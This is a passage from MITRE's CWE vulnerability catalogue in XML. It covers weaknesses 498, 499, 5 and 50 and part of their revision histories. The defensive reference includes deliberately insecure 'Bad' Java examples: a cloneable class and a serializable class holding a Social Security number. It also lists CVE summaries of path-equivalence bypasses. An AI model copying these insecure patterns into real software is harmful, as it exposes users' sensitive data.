               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">System Information Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-12-28">Information Leak of System Data</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Exposure of System Data to an Unauthorized Control Sphere</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="498" Name="Cloneable Class Containing Sensitive Information" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.</Description>
         <Extended_Description>Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="200" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If you do make your classes clonable, ensure that your clone method is final and throw super.clone().</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class CloneClient {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public CloneClient() //throws<xhtml:br/>java.lang.CloneNotSupportedException {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>Teacher t1 = new Teacher("guddu","22,nagar road");<xhtml:br/>//...<xhtml:br/>// Do some stuff to remove the teacher.<xhtml:br/>Teacher t2 = (Teacher)t1.clone();<xhtml:br/>System.out.println(t2.name);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>public static void main(String args[]) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>new CloneClient();</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>class Teacher implements Cloneable {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public Object clone() {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>try {<xhtml:div style="margin-left:1em;">return super.clone();</xhtml:div>}<xhtml:br/>catch (java.lang.CloneNotSupportedException e) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>throw new RuntimeException(e.toString());</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>public String name;<xhtml:br/>public String clas;<xhtml:br/>public Teacher(String name,String clas) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>this.name = name;<xhtml:br/>this.clas = clas;</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Make classes uncloneable by defining a clone function like:</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public final void clone() throws java.lang.CloneNotSupportedException {<xhtml:div style="margin-left:1em;">throw new java.lang.CloneNotSupportedException();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Information leak through class cloning</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ07-J</Entry_ID>
               <Entry_Name>Sensitive classes must not let themselves be copied</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Information Leak through Class Cloning</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="499" Name="Serializable Class Containing Sensitive Data" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.</Description>
         <Extended_Description>Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="200" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>an attacker can write out the class to a byte stream, then extract the important data from it.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Make sure to prevent serialization of your objects.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code creates a new record for a medical patient:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>class PatientRecord {<xhtml:div style="margin-left:1em;">private String name;<xhtml:br/>private String socialSecurityNum;<xhtml:br/>public Patient(String name,String ssn) {<xhtml:div style="margin-left:1em;">this.SetName(name);<xhtml:br/>this.SetSocialSecurityNumber(ssn);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Information leak through serialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER03-J</Entry_ID>
               <Entry_Name>Do not serialize unencrypted, sensitive data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER05-J</Entry_ID>
               <Entry_Name>Do not serialize instances of inner classes</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Information Leak through Serialization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="5" Name="J2EE Misconfiguration: Data Transmission Without Encryption" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="319" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>The product configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Misconfiguration: Insecure Transport</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Other">
               <xhtml:p>If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>A user manually enters URL and types "HTTP" rather than "HTTPS".</xhtml:li>
                     <xhtml:li>Attackers intentionally send a user to an insecure URL.</xhtml:li>
                     <xhtml:li>A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Misconfiguration: Insecure Transport</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="50" Name="Path Equivalence: '//multiple/leading/slash'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="161" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1483</Reference>
               <Description>Read files with full pathname using multiple internal slash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1456</Reference>
               <Description>Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1456</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0578</Reference>
               <Description>Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0275</Reference>
               <Description>Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1032</Reference>
               <Description>Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1032</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1238</Reference>
               <Description>Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1238</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1878</Reference>
               <Description>Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1878</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1365</Reference>
               <Description>Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1365</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1050</Reference>
               <Description>Access directory using multiple leading slash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1050</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1072</Reference>
               <Description>Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0235</Reference>
               <Description>Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0235</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>//multiple/leading/slash ('multiple leading slash')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Multiple Leading Slash - //multiple/leading/slash</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="500" Name="Public Static Field Not Marked Final" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.</Description>
         <Extended_Description>Public static variables can be read without an accessor and changed without a mutator by any classes in the application.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="493" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
